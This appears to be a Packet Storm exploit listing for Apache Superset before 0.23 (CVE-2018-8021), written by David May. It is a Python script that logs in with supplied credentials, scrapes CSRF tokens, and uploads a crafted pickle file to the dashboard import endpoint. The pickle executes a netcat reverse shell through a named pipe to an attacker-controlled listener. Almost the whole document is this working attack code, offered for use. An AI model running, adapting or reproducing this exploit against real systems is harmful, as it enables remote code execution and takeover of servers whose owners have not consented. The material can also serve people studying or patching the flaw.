Lucene search

K
packetstormDavid MayPACKETSTORM:150602
HistoryDec 04, 2018 - 12:00 a.m.

Apache Superset 0.23 Remote Code Execution

2018-12-0400:00:00
David May
packetstormsecurity.com
55

EPSS

0.948

Percentile

99.3%

`# Exploit Title: Apache Superset 0.23 - Remote Code Execution  
# Date: 2018-05-17  
# Exploit Author: David May ([email protected])  
# Vendor Homepage: https://superset.apache.org/  
# Software Link: https://github.com/apache/incubator-superset  
# Version: Any before 0.23  
# Tested on: Ubuntu 18.04  
# CVE-ID: CVE-2018-8021  
  
# I originally disclosed this to the Apache Superset team back in May, and the fix had already been   
# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.  
  
#!/usr/bin/env python  
  
import sys  
import os  
from lxml import html  
import requests  
  
# Change these values to your TCP listener  
myIP = '192.168.137.129'  
myPort = '8888'  
# Credentials must belong to user with 'can Import Dashboards on Superset' privilege  
username = 'test'  
password = 'test'  
  
# Logic in case script arguments are not given  
if len(sys.argv) < 3:  
print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')  
print('Script Usage:')  
print('./supersetrce.py <superset server ip> <superset port>')  
sys.exit()  
  
else:  
# Script arguments  
supersetIP = sys.argv[1]  
supersetPort = sys.argv[2]  
# Verify these URLs match your environment  
login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'  
upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'  
  
# Checks to see if file that we are going to write already exists in case this is run more than once  
if os.path.isfile('evil.pickle'):  
os.remove('evil.pickle')  
  
# Headers that we append to our POST requests  
headers_dict = {  
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',  
'DNT': '1',  
'Connection': 'close',  
'Upgrade-Insecure-Requests': '1',  
}  
  
# Creates evil pickle file and writes the reverse shell to it  
evilPickle = open('evil.pickle','w+')  
evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')  
evilPickle.close()  
  
# Start a session so we have persistent cookies  
session = requests.session()   
  
# Grabs the Login page to parse it for its CSRF token  
login_page = session.get(login_URL)  
if login_page.status_code != 200:  
print('Login page not reached, verify URLs in script')  
login_tree = html.fromstring(login_page.content)  
csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')  
  
# Form data that is sent in the POST request to Login page  
login_data = {  
'csrf_token' : csrf_token,  
'username' : username,  
'password' : password,  
}  
  
# Adds the Referer header for the login page  
headers_dict['Referer'] = login_URL  
  
# Logon action  
login = session.post(login_URL, headers=headers_dict, data=login_data)   
  
# Grabs the Upload page to parse it for its CSRF token  
upload_page = session.get(upload_URL)  
if upload_page.status_code != 200:  
print('Upload page not reached, verify credentials and URLs in script')  
upload_tree = html.fromstring(upload_page.content)  
csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')  
  
# Adds the Referer header for the Upload page  
headers_dict['Referer'] = upload_URL  
  
# Upload action  
upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})  
  
# Closes the session  
session.close()  
sys.exit()  
  
  
  
`